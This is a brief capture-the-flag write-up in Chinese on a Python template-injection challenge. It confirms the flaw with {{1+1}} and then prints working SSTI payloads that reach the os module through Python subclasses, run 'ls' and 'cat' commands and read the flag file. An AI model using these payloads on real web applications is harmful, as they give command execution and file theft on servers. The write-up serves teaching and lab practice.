進入場景后,顯示如下頁面
猜測本題存在Python SSTI漏洞,驗證一下,在url后面添加{{1+1}},回車顯示如下
界面返回2,我們輸入的1+1被執行了,說明服務器執行了{{}}里面這一段代碼。
關於Python模板注入漏洞,可參考:https://www.cnblogs.com/wjw-zm/p/12741055.html
所以本題思路就是先查看當前目錄,發現存在一個fl4g文件,然后讀取此文件,獲得flag。
首先,構造Payload1,查看當前目錄,發現存在一個fl4g文件。
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
或者
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
然后,構造Payload2,讀取此文件,獲得flag。
{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}} 或者 {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}